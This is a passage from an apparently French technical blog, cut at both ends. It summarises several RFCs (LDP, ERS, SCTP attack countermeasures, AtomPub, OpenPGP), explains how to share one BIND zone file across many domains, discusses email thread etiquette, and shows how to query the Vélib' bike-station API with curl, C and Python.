Tous les auteurs ne sont pas forcément sur la même longueur d'onde pour tout. Ainsi, le livre contient une discussion lancée par Jack Goldsmith, qui s'oppose fortement à ce qu'il nomme la « cyber-anarchie », c'est-à-dire l'idée comme qui l'Internet serait un espace radicalement nouveau, où les lois et autres règles humaines traditionnelles ne pourraient ou ne devraient pas s'appliquer. Goldsmith s'oppose vigoureusement à ce point de vue et estime au contraire qu'il n'y a pas de changement de fond dans la politique et le droit, malgré Internet.

Dans le même livre, David Post s'oppose à cette théorie. Post est un tenant de la thèse « exceptionnaliste » qui dit que l'Internet est un espace radicalement nouveau et qu'on ne peut pas espérer y faire appliquer la loi de la même façon.

Il est amusant de constater que certains problèmes juridiques posés par le caractère international d'Internet étaient déjà connue par les états-uniens longtemps avant que le réseau ne sorte de leur pays. En effet, dans ce pays fédéral, les états ont souvent des législations divergentes et cette divergence nourrit une vaste jurisprudence depuis longtemps. Les articles de Michael Geist et de Dan Burk expliquent en détail ce problème, pendant que celui de Bruce Kobayashi et Larry Ribstein défend fermement un point de vue ultra-libéral en affirmant que les lois de protection du consommateur (comme celles qui existent en Californie) ne doivent pas s'appliquer sur le réseau, de façon à laisser les entreprises s'installer dans les « paradis légaux » comme le Delaware et en tirer tous les bénéfices souhaités.


L'article seul

RFC 5036: LDP Specification

Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : Loa Andersson (Acreo AB), Ina Minei (Juniper Networks), Bob Thomas (Cisco Systems)
Chemin des normes
Première rédaction de cet article le 12 octobre 2007


Voici une nouvelle version, légèrement remaniée, du protocole Label Distribution Protocol pour MPLS.

Le protocole MPLS, normalisé dans le RFC 3031 repose sur la notion de label, un court identificateur de taille fixe, qui sert d'index dans une table de commutation des paquets. Le RFC 3031 ne spécifie pas comment les labels sont distribués, parce qu'il existe plusieurs méthodes. Notre RFC en normalise une, le protocole LDP, Label Distribution Protocol. LDP n'est pas comparable aux protocoles de routage comme BGP. Il ne sert pas à distribuer de l'information brute permettant de calculer une route, il sert juste à indiquer quels labels doivent être utilisés pour chaque classe (FEC pour Forwarding Equivalence Class). Actuellement, le seul type de classe connu de LDP est celle basée sur le préfixe de l'adresse IP (son encodage est décrit dans la section 3.4.1).

Le protocole est donc relativement simple, deux routeurs MPLS (on dit LSR pour Label Switching Router) se découvrent par des paquets LDP de type Hello, envoyés sur UDP et s'échangent ensuite de l'information au dessus de TCP. Mais le RFC est très long car beaucoup de détails doivent être spécifiés.

Les données sont transportées de l'aval vers l'amont. C'est le routeur aval qui indique à son prédécesseur quel label utiliser pour chaque classe, chaque préfixe de réseau.

Les données transportées par LDP sont, pour la plupart, encodées en TLV ce qui rend le protocole très souple et capable d'évolution. Deux bits dans le paquet indiquent ce que doit faire le LSR qui ne comprend pas un type : doit-il l'ignorer ou bien refuser le message et, s'il l'ignore, doit-il le transmettre à d'autres LSR ? Ce mécanisme contribue également à la robustesse du protocole puisqu'il permet d'introduire de nouveaux types de données sans craindre que les vieux équipements ne réagissent bizarrement.

LDP avait originellement été spécifié dans le RFC 3036 et ce RFC n'apporte que de petits changements.


Téléchargez le RFC 5036


L'article seul

RFC 4998: Evidence Record Syntax (ERS)

Date de publication du RFC : Août 2007
Auteur(s) du RFC : T. Gondrom (Open Text Corporation), R. Brandner (InterComponentWare), U. Pordesch (Fraunhofer Gesellschaft)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ltans
Première rédaction de cet article le 11 octobre 2007


Ce RFC spécifie un format pour signer, sur le très long terme, des enregistrements. L'exigence de durée est un gros problème pour la cryptographie car les algorithmes de signature peuvent être cassés avec le temps.

Conçu dans le cadre du groupe de travail IETF ltans, ce RFC propose une méthode simple. Chaque signature est accompagnée d'une date et les dates sont elles-même signées (et resignées si un algorithme s'avère à l'usage trop simple, donc une application peut avoir à suivre une chaîne de signatures, ce que décrit la section 5). Le RFC 4810 qui donnait le cahier des charges du groupe de travail précisait déjà la nécessité de prouver l'intégrité d'un document après des dizaines d'années, malgré les progrès qu'avait fait la cryptographie pendant ce temps.

Notre RFC spécifie également d'autres techniques pour résister au passage du temps, comme le fait de mettre autant que possible au moins deux signatures, avec des algorithmes différents, pour augmenter les chances qu'un d'eux résiste (section 7).

Le format est spécifié en utilisant le langage ASN.1.


Téléchargez le RFC 4998


L'article seul

RFC 5062: Security Attacks Found Against the Stream Control Transmission Protocol (SCTP) and Current Countermeasures

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : R. Stewart (Cisco Systems), M. Tuexen (Muenster Univ. of Applied Sciences), G. Camarillo (Ericsson)
Pour information
Première rédaction de cet article le 11 octobre 2007


Ce RFC documente les problèmes de sécurité connus pour le protocole de transport SCTP. Ces problèmes, présents dans la première version de la norme, le RFC 2960, documentés une première fois dans le RFC 4460, sont traités dans la dernière version de la norme, le RFC 4960.

SCTP est très peu utilisé par rapport à son grand concurrent TCP. S'il règle certaines failles de sécurité de celles-ci (par exemple en intégrant un mécanisme d'authentification des adresses IP plus robuste pour l'établissement de la connexion), ses nouvelles possibilités pour le multihoming ouvrent des nouvelles failles.

Celles-ci, d'abord discutées dans le RFC 4460, sont désormais documentées dans le RFC 4960, qui change légèrement le protocole et donne plusieurs conseils aux implémenteurs. Bien que SCTP ne se place pas réellement dans la catégorie des protocoles à séparation de l'identificateur et du localisateur, ces faiblesses sont quand même proches de celles trouvées dans ces protocoles : l'ajout d'un niveau d'indirection supplémentaire permet de nouvelles usurpations. Avec SCTP, le fond du problème est qu'un attaquant peut dire la vérité sur l'adresse IP principale, celle qui sert à établir la connexion (SCTP dit l'association), mais mentir sur les adresses IP supplémentaires.

Par exemple, la première attaque documentée (section 2), le camping, consiste pour un attaquant à se connecter à un serveur en annonçant des adresses IP supplémentaires, qui ne sont pas à lui, et, en « campant » ainsi dessus, il peut empêcher leur légitime titulaire d'établir une association avec le même serveur.

La solution proposée par le RFC est de tester ces adresses (ce qui était déjà prévu par le mécanisme de battement de cœur dans le RFC 2960 mais sans l'utiliser pour la sécurité). On notera que ce test empêche d'utiliser ces adresses IP supplémentaires si elles ne sont pas joignables immédiatement par la machine associée. C'est conforme au cahier des charges de SCTP, qui vise le multihoming, pas la mobilité (un RFC séparé, le RFC 5061 fournit des pistes pour mieux gérer la mobilité).

Une autre attaque documentée (section 5) est le bombardement, qui permet des DoS. L'attaquant prétend contrôler une adresse IP (en fait, celle de sa victime), établit l'association en indiquant cette adresse IP comme supplémentaire et demande un gros transfert de données, qui frappera sa victime. Si celle-ci n'a pas SCTP, elle ne pourra pas signaler l'erreur. Là encore, la solution est de tester toute adresse IP avant de lui envoyer des données.


Téléchargez le RFC 5062


L'article seul

RFC 5023: The Atom Publishing Protocol

Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : J. Gregorio (IBM), B. de hOra
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF atompub
Première rédaction de cet article le 9 octobre 2007


Le nouveau protocole APP permet la publication et la mise à jour de documents Atom. Il vise à faciliter la publication sur le Web, notamment pour les blogs.

APP est clairement issu du monde des blogs. Si on veut mettre à jour un blog automatiquement, il existe plusieurs protocoles avec XML-RPC mais rien de normalisé. Ce rôle est celui principalement visé par APP. Mais APP permettra aussi beaucoup d'autres choses sur le Web, concurrençant aussi des protocoles comme WebDAV (RFC 4918).

APP est un protocole de la famille REST, bâti au dessus de HTTP (RFC 7230).

APP repose sur les concepts de ressources et de collections (section 3). Une ressource est une information accessible par le Web. Dans APP, elle est fréquemment au format Atom (RFC 4287) et est alors nommée une entry resource. Les ressources non-Atom sont nommées des media resource. Elles sont en général « pointées » par une entry resource qui contient les métadonnées les concernant et un lien vers la media resource.

Les sections 7 et 8 du RFC spécifient également deux nouveaux formats XML, pour des documents décrivant les catégories (un mécanisme de classification des ressources) et les collections.

Ces ressources et ces collections sont identifiées par des URI (plus exactement par des IRI, RFC 3987). APP agit sur les collections et les ressources par l'intermédiaires de méthodes HTTP qui sont classiques pour les programmeurs REST (section 4.3 du RFC et des détails de protocole en section 5) :

  • GET récupère une ressource ou une collection,
  • PUT met à jour une ressource,
  • POST modifie une collection, par exemple en créant une ressource,
  • et DELETE, évidemment, détruit.

Le RFC précise bien que les serveurs APP jouissent d'une grande liberté d'action et que le client doit être prêt à tout, notamment si on utilise des méthodes HTTP dont l'action n'est pas définie par le RFC. Par exemple, DELETE sur une collection n'est pas spécifié mais peut être accepté par certains serveurs. Même chose pour le PUT sur une ressource pas encore existante, mentionné plus loin.

Voyons maintenant un exemple, tiré de la section 9 du RFC, montrant la création d'une ressource, obtenue par un POST sur l'URL d'une collection (ici, /edit/) :


[Envoyé par le client]
       POST /edit/ HTTP/1.1
       Host: example.org
       User-Agent: Thingio/1.0
       Authorization: Basic ZGFmZnk6c2VjZXJldA==
       Content-Type: application/atom+xml;type=entry
       Content-Length: 343
       Slug: First Post

       <?xml version="1.0"?>
       <entry xmlns="http://www.w3.org/2005/Atom">
         <title>Atom-Powered Robots Run Amok</title>
         <id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>
         <updated>2003-12-13T18:30:02Z</updated>
         <author><name>John Doe</name></author>
         <content>Some text.</content>
       </entry>

[Répondu par le serveur]
       HTTP/1.1 201 Created
       Date: Fri, 7 Oct 2005 17:17:11 GMT
       Content-Length: 430
       Content-Type: application/atom+xml;type=entry;charset="utf-8"
       Location: http://example.org/edit/first-post.atom
       ETag: "c180de84f991g8"

       <?xml version="1.0"?>
       <entry xmlns="http://www.w3.org/2005/Atom">
         <title>Atom-Powered Robots Run Amok</title>
         <id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>
         <updated>2007-08-01T16:46:18Z</updated>
         <author><name>John Doe</name></author>
         <content>Some text.</content>
         <link rel="edit"
             href="http://example.org/edit/first-post.atom"/>
       </entry>

Le serveur renvoie le document Atom car il est libre de modifier ce qu'a envoyé le client (ici, la date a changé dans l'élément <updated>, peut-être parce que le serveur a d'avantage confiance dans sa propre horloge). C'est un des points importants d'APP.

Parmi les questions brûlantes d'APP figurait celle du lost update, la mise à jour perdue lorsque deux clients font presque en même temps un GET d'une ressource suivi d'un PUT avec la ressource modifiée. (L'excellent document du W3C indiqué plus haut, Editing the Web: Detecting the lost update problem using unreserved checkout explique très bien l'ensemble du problème et les solutions possibles.)

HTTP n'ayant pas d'état, et APP n'ayant pas d'option de verrouillage (contrairement à une autre extension de HTTP, WebDAV), la solution recommandée par notre RFC est celle du « PUT conditionnel » (section 9.5 du RFC) en utilisant la date ou bien l'etag et les en-têtes HTTP If-Modified-Since: ou If-None-Match:.

Techniquement, c'est donc une solution assez simple mais la blogosphère a frémi sous les polémiques à ce sujet.

Parmi les verbes REST, on notera que PUT n'est utilisé que pour les mises à jour, pas les créations (le RFC 7231 autorise pourtant cet usage dans sa section 4.3.4). La question du « PUT pour créer » est toujours une question délicate dans le monde REST (voir http://bitworking.org/news/141/REST-Tips-Prefer-following-links-over-URI-construction ou bien http://www.megginson.com/blogs/quoderat/2005/04/03/post-in-rest-create-update-or-action/). Dans APP, comme l'espace de nommage est contrôlé par le serveur, il n'est pas prévu que le client puisse créer une ressource autrement qu'en passant par une collection (avec POST) et en laissant le serveur choisir un nom (le client peut toujours le guider avec le nouvel en-tête Slug:, décrit dans la section 9.7).

APP connait déjà des extensions, la plus connue étant Gdata.

Parmi les mises en œuvres existantes d'APP, on notera, pour les serveurs :

et pour les clients :

Pour en apprendre plus sur APP, on peut consulter l'excellent article Getting to know the Atom Publishing Protocol.


Téléchargez le RFC 5023


L'article seul

Managing a lot of identical DNS zones with BIND

First publication of this article on 6 October 2007
Last update on of 16 October 2007


A very common question on mailing lists of other fora dedicated to the DNS or specifically to BIND is 'How can I have a single zone file for all the domains I manage, since their content is more or less identical?'

There are several ways to do so, I describe them here, while developing my personal preference, file sharing, more in depth.

The solutions are:

  • Use only one zone file, shared by all zones, with all the content in it being relative,
  • Generate zone files from some sort of a database by a program,
  • Use DNAME records.

The first solution is often my favorite. The idea is to have one zone file, with a content made mostly of relative domain names. That is using @ instead of the zone name, not adding the zone name and the final dot, etc. BIND lets you use the at sign (@) to refer to the zone to which named.conf assigns the zone file. An example of such a zone file is:

$TTL 38400
@      IN      SOA     ns1.myorg.net. hostmaster.myorg.net. (
                       2007100601
                       10800
                       3600
                       604800
                       38400 )
       IN       NS     ns1.myorg.net.
       IN       NS     ns2.myorg.net.
       IN       MX  10   smtp.myorg.net.
www                    IN      A        192.0.2.34
imap    IN   A 192.0.2.45
; Add more at your leisure

The name of the zone never appears on the left-hand side of the resource records above. If this zone is loaded for example.org, www.example.org will resolve to 192.0.2.34 (because www is written without a final dot, the name of the zone will be automatically appended).

Once you have such a file, then use a symbolic link on the master name server, so that all files links to this one. For instance, if named.conf contains:

zone "example.org" {
    type master;
    file "example.org.db";
};
zone "example.net" {
   type master;
   file "example.net.db";
};

you just have to create the symbolic links to the reference file:

% ln -s reference-zone.db example.org.db
% ln -s reference-zone.db example.net.db

(Another way to have all domains use the same zone file is to name it in named.conf zone statements, that way:

zone "example.org" {
    type master;
    file "reference-zone.db";
};
zone "example.net" {
   type master;
   file "reference-zone.db";
};

Wether it is simpler for your co-workers or your successors is a matter of taste)

The O'Reilly book 'DNS & BIND Cookbook' has a chaper online, which is precisely the chapter dealing with this issue ('Using a Single Data File for Multiple Zones').

The second solution, the generation of the zone files from a program which reads some sort of a database is a bit more complicated (you need someone able to write a twenty-lines program in Perl or Python) but is more powerful since it can even handle cases where the zone files are not exactly identical.

The 'database' does not have to be a relational database engine, text files with a format are databases, too, and so are XML or JSON files.

The third solution is to use the DNAME resource records described in RFC 6672. I find DNAME complicated to understand and counter-intuitive and not supported by all DNS implementations (but note that only the authoritative name servers of the zone have to support them).

The main advantage of DNAME records is of memory use: it gives a significant memory benefit (with file sharing, my favorite approach, the memory used by BIND is proportional to the number of zones multiplied by the size of the zone; with DNAME, most zones use very little memory).

Here is an example. We assume that the parent zone does not allow you to insert DNAME so you have to do everything yourself. We want example.net to be an equivalent of example.org. The zone file for example.net will look like:

; DNAME only handles subdomains, we need to duplicate the MX, the NS,
; etc, of the apex.
@      IN      SOA     ns1.myorg.net. hostmaster.myorg.net. (
                       2007100601
                       10800
                       3600
                       604800
                       38400 )
       IN       NS     ns1.myorg.net.
       IN       NS     ns2.myorg.net.
       IN       MX  10   smtp.myorg.net.

; 
       IN       DNAME example.org.
; Add nothing more, all domain names *under* example.net will be
; "created" by the DNAME record above.

Remember that DNAME records only work for the domain names underneath the domain you manage (the RFC says "a new DNS Resource Record called "DNAME", which provides the capability to map an entire subtree of the DNS name space to another domain). So, www.example.net will be handled by the DNAME record (and rewritten as www.example.org) but we need to put manually the MX and NS records of the domain example.net.


L'article seul

Ne pas voler les fils de discussion

Première rédaction de cet article le 5 octobre 2007


On voit parfois, sur les listes de discussion, une personne commencer un nouveau sujet en répondant à un message précédent. Cela se nomme voler un fil et cela est une pratique gênante Pourquoi ?

Parce que les discussions par courrier électronique sont organisées en fils de discussion (threads en anglais, parfois traduit par « thème » ou par « conversation ») et que cette pratique revient à mélanger deux fils, rendant ainsi plus difficile leur lecture.

Ces fils sont matérialisés, dans le message, par des en-têtes spécifiques, décrits dans la norme, le RFC 5322. Ces en-têtes, non affichées par défaut par la plupart des logiciels, sont :

  • In-Reply-To
  • References

Prenant comme valeur un identificateur de message (Message ID), ils permettent aux logiciels de reconstruire les fils et de les afficher proprement. Même si vous ne voyez pas ces en-têtes, les logiciels les lisent et modifient leur comportement.

Ainsi, si un message contient l'identificateur suivant :

Message-ID: <46FE3662.58C3075B@univ-nkc.mr>

la réponse, la suite du fil, comprendra :

In-Reply-To: <46FE3662.58C3075B@univ-nkc.mr>

permettant ainsi aux logiciels de suivre le fil.

On peut voir cette organisation en fils avec, par exemple, des logiciels d'archivage des listes comme Mhonarc. Voici des exemples de pages Web montrant des fils de discussion :

De nombreux MUA permettent d'afficher les fils. Avec le MUA mutt, afficher les messages par fils se fait avec l'option set sort=threads dans le fichier de configuration (on peut aussi changer l'affichage dynamiquement avec la commande sort-mailbox, habituellement appelée par la touche o).

De même, beaucoup de MUA permettent d'ignorer complètement un fil. Si vous volez un fil existant, vos message seront donc également ignorés.

Donc, pour résumer, si vous voulez commencer un nouveau sujet, ne volez pas un fil de discussion existant. Créez un nouveau message.

Merci aux auteurs de l'excellent texte sur la nétiquette, qui comprend une section sur ce sujet.


L'article seul

RFC 1345: Character Mnemonics and Character Sets

Date de publication du RFC : Juin 1992
Auteur(s) du RFC : Keld Simonsen (Rationel Almen Planlaegning)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 4 octobre 2007


Un ancien RFC, qui représentait une des premières incursions de l'IETF dans le monde complexe des jeux de caractères.

Ce RFC tentait d'énumérer tous les jeux de caractères en usage à l'époque (la bibliographie cite le manuel de VMS, pour le jeu de caractères de ce système !). Les préoccupations d'internationalisation sont anciennes à l'IETF et ce RFC reflète une époque très reculée, où la version 1.0 d'Unicode venait tout juste d'être publié.

Ce RFC est donc essentiellement constitué d'un format pour décrire un jeu de caractères et d'une longue liste de jeux de caractères utilisés à l'époque, en utilisant les noms d'une version préliminaire d'ISO 10646. C'était donc un concurrent direct de la norme Unicode. Cette démarche n'a pas eu un succès fracassant et MIME, par exemple, se contentera d'attribuer un identificateur unique à chaque jeu, sans essayer de le décrire complètement (mais en citant notre RFC). Comparons par exemple l'entrée de notre RFC pour US-ASCII :

  &charset ANSI_X3.4-1968
  &rem source: ECMA registry
  &alias iso-ir-6
  &alias ANSI_X3.4-1986
  &alias ISO_646.irv:1991
  &g0esc x2842 &g1esc x2942 &g2esc x2a42 &g3esc x2b42
  &alias ASCII
  &alias ISO646-US
  &alias US-ASCII
  &alias us
  &alias IBM367
  &alias cp367
  &code 0
  NU SH SX EX ET EQ AK BL BS HT LF VT FF CR SO SI
  DL D1 D2 D3 D4 NK SY EB CN EM SB EC FS GS RS US
  SP ! " Nb DO % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
  At A B C D E F G H I J K L M N O P Q R S T U V W X Y Z <( // )> '> _
  '! a b c d e f g h i j k l m n o p q r s t u v w x y z (! !! !) '? DT

avec celle d'aujourd'hui, tirée du registre IANA, géré selon le RFC 2978 :

Name: ANSI_X3.4-1968                                   [RFC1345,KXS2]
MIBenum: 3
Source: ECMA registry
Alias: iso-ir-6
Alias: ANSI_X3.4-1986
Alias: ISO_646.irv:1991
Alias: ASCII
Alias: ISO646-US
Alias: US-ASCII (preferred MIME name)
Alias: us
Alias: IBM367
Alias: cp367
Alias: csASCII

On notera que, pour faire rentrer les jeux de caractères dans un RFC écrit en ASCII, ce RFC développe un codage se voulant « intuitif » (la section 2.3 dit The two characters are chosen so the graphical appearance in the reference set resembles as much as possible (within the possibilities available) the graphical appearance of the character.). C'est ainsi que le é, le « e accent aigü » s'écrit e' et le è, l'« e accent grave » e!. Voici la seconde moitié de la table ISO 8859-1, ainsi exprimée :

  A! A' A> A? A: AA AE C, E! E' E> E: I! I' I> I:
  D- N? O! O' O> O? O: *X O/ U! U' U> U: Y' TH ss
  a! a' a> a? a: aa ae c, e! e' e> e: i! i' i> i:
  d- n? o! o' o> o? o: -: o/ u! u' u> u: y' th y:

Téléchargez le RFC 1345


L'article seul

RFC 2440: OpenPGP Message Format

Date de publication du RFC : Novembre 1998
Auteur(s) du RFC : Jon Callas (Network Associates, Inc.), Lutz Donnerhacke (IKS GmbH), Hal Finney (Network Associates, Inc.), Rodney Thayer (EIS Corporation)
Chemin des normes
Première rédaction de cet article le 4 octobre 2007
Dernière mise à jour le 3 novembre 2007


Le logiciel PGP est synonyme de cryptographie pour beaucoup de gens. Un des plus anciens et des plus utilisés pour les fonctions de confidentialité mais aussi d'authentification, PGP est très célèbre mais on sait peu que ses messages sont normalisés, dans ce RFC.

PGP a vu son format de données normalisé pour la première fois en août 1996, dans le RFC 1991. Cette norme a été révisée par la suite et notre RFC n'est pas le dernier (le RFC 4880 est la version actuelle).

Cette normalisation permet à diverses mises en œuvre de PGP d'interopérer. La plus connue aujourd'hui est la seule libre, GNU Privacy Guard (qui n'existait pas encore au moment de la publication du RFC). Il ne faut donc plus confondre le logiciel PGP, écrit à l'origine par Phil Zimmermann, et qui est non-libre, avec le format PGP que décrit notre RFC et que des logiciels autres que PGP peuvent lire ét écrire.

Le principe du chiffrement avec PGP est simple. Une clé de session (le terme est impropre puisqu'il n'y a pas de session au sens de TLS mais c'est celui utilisé par le RFC) est créée pour chaque destinataire, elle sert à chiffrer le message et cette clé est chiffrée avec la clé publique du destinataire (section 2.1 du RFC).

Pour l'authentification, c'est aussi simple conceptuellement. Le message est résumé et le résumé est chiffré avec la clé privée de l'émetteur (section 2.2 du RFC).

Le format PGP permet également la compression (qui améliore la sécurité en supprimant les redondances) et l'encodage en Base64, baptisé ASCII armor, pour passer à travers des logiciels qui n'aiment pas le binaire (la section 6 détaille cet encodage).

La section 3 explique les éléments de base utilisés par le format PGP. L'un des plus importants est le concept d'entier de grande précision (MPI pour Multi-Precision Integers), qui permet de représenter des entiers de très grande taille, indispensables à la cryptographie, sous forme d'un doublet longueur + valeur.

Enfin les sections 4 et 5 expliquent le format lui-même. Un message PGP est constitué de paquets (rien à voir avec les paquets réseau). Chaque paquet a un type, une longueur et un contenu. Par exemple, un paquet de type 1 est une clé de session chiffrée, un paquet de type 2 une signature, un paquet de type 9 du contenu chiffré, etc.

La section 7 du RFC décrit un type de message un peu particulier, qui n'obéit pas à la syntaxe ci-dessus, les messages en clair mais signés. Ces messages ont l'avantage de pouvoir être lus sans avoir de logiciel PGP. Ils nécessitent donc des règles spéciales.

On notera que gpg permet d'afficher les paquets présents dans un message PGP, ce qui est pratique pour l'apprentissage ou le déboguage. Voyons un exemple avec un fichier test.txt de 35 octets, signé mais non chiffré :

% gpg --list-packets test.gpg 
:compressed packet: algo=1
:onepass_sig packet: keyid 4136479797D6D246
        version 3, sigclass 00, digest 2, pubkey 17, last=1
:literal data packet:
        mode b (62), created 1191502517, name="test.txt",
        raw data: 35 bytes
:signature packet: algo 17, keyid 4136479797D6D246
        version 3, created 1191502517, md5len 5, sigclass 00
        digest algo 2, begin of digest 0d e4
        data: [159 bits]
        data: [158 bits]

Malheuresement, gpg n'affiche pas les valeurs numériques des types, telles que listées par le RFC. Mais les noms qu'il utilise sont les mêmes que dans le RFC, on peut donc facilement trouver la section qui explique ce qu'est un "onepass_sig packet".

Avec un message chiffré, on obtient :

% gpg --list-packets test.txt.gpg
:pubkey enc packet: version 3, algo 16, keyid F3A0253D6C2A95F9
        data: [1022 bits]
        data: [1023 bits]
:pubkey enc packet: version 3, algo 16, keyid C0FE90B0F08F74D7
        data: [2044 bits]
        data: [2048 bits]

You need a passphrase to unlock the secret key for
user: "Stephane Bortzmeyer (Personl address) <stephane@bortzmeyer.org>"
2048-bit ELG-E key, ID F08F74D7, created 2000-03-31 (main key ID 97D6D246)

:encrypted data packet:
        length: 102
        mdc_method: 2
gpg: encrypted with 1024-bit ELG-E key, ID 6C2A95F9, created 2005-02-18
      "Kim Minh Kaplan <kaplan@kim-minh.com>"
gpg: encrypted with 2048-bit ELG-E key, ID F08F74D7, created 2000-03-31
      "Stephane Bortzmeyer (Personl address) <stephane@bortzmeyer.org>"
:compressed packet: algo=2
:literal data packet:
        mode b (62), created 1191502765, name="test.txt",
        raw data: 35 bytes

On notera que c'est après l'affichage des premiers paquets que gpg demande la phrase de passe pour lire la clé privée. En effet, les premiers paquets ne sont pas chiffrés, puisqu'ils indiquent la clé à utiliser pour déchiffrer le reste (PGP a une option pour masquer ces paquets, cf. section 5.1).


Téléchargez le RFC 2440


L'article seul

RFC 3932: The IESG and RFC Editor Documents: Procedures

Date de publication du RFC : Octobre 2004
Auteur(s) du RFC : H. Alvestrand
Première rédaction de cet article le 1 octobre 2007


Ce RFC décrivait brièvement le nouveau rôle de l'IESG dans l'évaluation des RFC soumis directement au RFC editor. Il a été depuis remplacé par le RFC 5742.

Tous les RFC ne sont pas développés à l'IETF. Certains sont soumis directement au RFC editor, un service dépendant de l'ISOC. Traditionnellement, l'IESG procédait néanmoins à un examen de ces RFC indépendants mais cela lui prenait beaucoup de temps, en plus du travail normal de l'IETF. (Il est également possible, bien que cela ne soit pas indiqué dans le RFC, que l'IESG ait craint la responsabilité que représente un tel examen.)

La section 3 du RFC décrit donc la nouvelle procédure, où l'IESG n'évalue pas le fond du document, mais détermine simplement s'il y a un risque de conflit avec le travail de l'IETF. Par exemple, le RFC cite le cas de Photuris (RFC 2522), qui concurrençait la technologie IETF de IKE (RFC 2409) ou bien le cas d'une proposition, finalement non publiée comme RFC, qui réutilisait certains bits de l'en-tête IP.

Les remarques éventuelles de l'IESG font l'objet d'un texte standard, décrit dans la section 4, et qui est ajouté au début du RFC publié et qui permettra d'éviter toute confusion avec un travail de l'IETF. C'est ainsi que, par exemple, le RFC 4765 s'est trouvé muni de l'avertissement « Ce protocole avait été étudié à l'IETF mais abandonné en cours de route »,


Téléchargez le RFC 3932


L'article seul

Accéder au service Vélib en REST

Première rédaction de cet article le 28 septembre 2007
Dernière mise à jour le 21 juin 2010


Le service Vélib' de location de vélos à Paris est un grand succès sur l'Internet. D'innombrables sites le discutent et proposent des mashups à partir des données Vélib'. En effet, le service Vélib' a une API REST qui permet facilement de trouver des informations.

Les grand succès du Web sont souvent les services qui exposent une API, permettant ainsi au reste du monde de bâtir des services à valeur ajoutée. Vélib' a une API qui permet de connaitre l'état des stations (combien de vélos libres ? combien d'emplacements libres ?). On peut alors assez facilement construire des services indiquant cet état, ou faisant des statistiques sur le long terme, par exemple avec des outils comme RRDtool. Voir par exemple http://www.roulib.fr/ ou http://v.mat.cc/. On peut aussi trouve un amusant gadget Netvibes (qui marche aussi avec le service personnalisé de Google) en http://www.ghusse.com/informatique/widget-velib-11-fonctionne-sous-netvibes_309/.

Ainsi, pour récupérer l'état d'une station, il faut interroger http://www.velib.paris.fr/service/stationdetails/paris/NNN où NNN est le numéro de la station. Essayons avec un client REST classique, curl :


% curl http://www.velib.paris.fr/service/stationdetails/paris/14024
<?xml version="1.0" encoding="UTF-8"?>
<station>
  <available>16</available>
  <free>8</free>
  <total>24</total>
  <ticket>1</ticket>

16 vélos sont donc disponibles.

Quant à http://www.velib.paris.fr/service/carto, il permet de récupérer la liste des stations.

Où est documentée cette API ? Eh bien justement, il semble qu'elle ne l'est nulle part. Il faut apparemment l'extraire par rétro-ingéniérie du code source Javascript des pages de http://www.velib.paris.fr/. Par exemple, la page http://www.velib.paris.fr/Trouver-une-station appele le script Javascript gmaps_search_station.js qui contient :

request.open("GET", stationDetailsUrl + "/"+ this.number,
	   true);

et, un peu plus loin, l'explication des éléments XML retournés :

instance.availableBikes = xmlDoc.getElementsByTagName('available')[0].firstChild.nodeValue;
instance.freeCapacity = xmlDoc.getElementsByTagName('free')[0].firstChild.nodeValue;
instance.totalCapacity = xmlDoc.getElementsByTagName('total')[0].firstChild.nodeValue;

Merci à Mathieu Arnold pour ses explications sur ce point.

Voyons maintenant un client pour accéder à ce service. Je l'écris en C pour montrer que C ne signifie pas forcément manipulations de bas niveau des prises et travail XML difficile. Pour le réseau , j'utilise l'excellente libcurl (qui gère tous les détails, y compris IPv6, SSL, etc) et pour le XML la non moins excellente libxml2. Le résultat est disponible en get-station.c. Il se compile ainsi :

% gcc -Wall `curl-config --cflags` `xml2-config --cflags` -c get-station.c
% gcc -o get-station get-station.o `curl-config --libs` `xml2-config --libs`

et s'utilise ainsi (la station 15068 est située boulevard Victor près de la gare du RER) :

% ./get-station 15068
Available bikes - Free slots - Total slots  at station 15068
             14            4            20

(Le total ne correspond pas car un emplacement peut être en maintenance.)

Un autre programme équivalent a été développé en Haskell, en utilisant la bibliothèque standard Network.HTTP et le paquetage HaXML pour traiter l'XML. Ce programme prend les mêmes arguments et affiche les mêmes résultats que le programme en C.

Si on préfère Java, j'ai noté que ce message en parlait.

Mais, au fait, pourquoi est-il nécessaire de faire de la rétro-ingéniérie, plutôt que de simplement lire la documentation, comme c'est le cas avec le Vélo Star de Rennes cité plus loin ? Parce que la Ville de Paris ne pense pas que le citoyen puisse avoir envie de créer lui-même. Elle le voit comme un simple consommateur. Résultat, il existe une application Vélib « officielle » sur iPhone mais les développeurs qui voudraient essayer de faire pareil pour d'autres plate-formes comme Android ne peuvent pas lutter à armes égales, puisqu'ils n'ont pas accès à la documentation. Bref, la Mairie de Paris privilégie hélas le système fermé d'Apple. Pire, il semble que le sous-traitant de la Mairie, JCDecaux, harcèle activement ceux qui essaient de développer des applications non-officielles (voir aussi ce qui est arrivé à Vélibérator).

Oublions cette triste attitude d'une mairie et de son sous-traitant (en février 2013, la Mairie de Paris a d'ailleurs annoncé un changement radical de politique dont il reste à voir s'il se concrétisera) et voyons si on peut appliquer la même méthodologie au service Vélov de Lyon. Si on regarde le source HTML des pages Web de http://velov.grandlyon.com/, on trouve la mention du script Javascript http://velov.grandlyon.com/velov/zhp/js/velov.js qui, une fois téléchargé et étudié, nous indique que l'API est très proche de celle de Paris (ce qui n'est pas étonnant, c'est la même société). Développons donc un client REST, cette fois en Python. Ce programme s'utilise de la même façon :

% python get-station.py 1023
Available bikes - Free slots - Total slots  at station 1023 - CROIX ROUSSE / PERFETTI
              7           11            20

Le service déployé à Marseille, Le vélo, est techniquement identique à celui de Paris. On peut utiliser les mêmes programmes, avec l'URL http://www.levelo-mpm.fr/service/stationdetails/marseille/NNNN.

Testons un dernier langage sur ce service, celui du shell Unix. Comme le shell n'a pas de mécanisme incorporé pour analyser le XML, nous utiliserons un script XSLT :


<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">

  <xsl:output method="text"/>

  <xsl:param name="num"/>

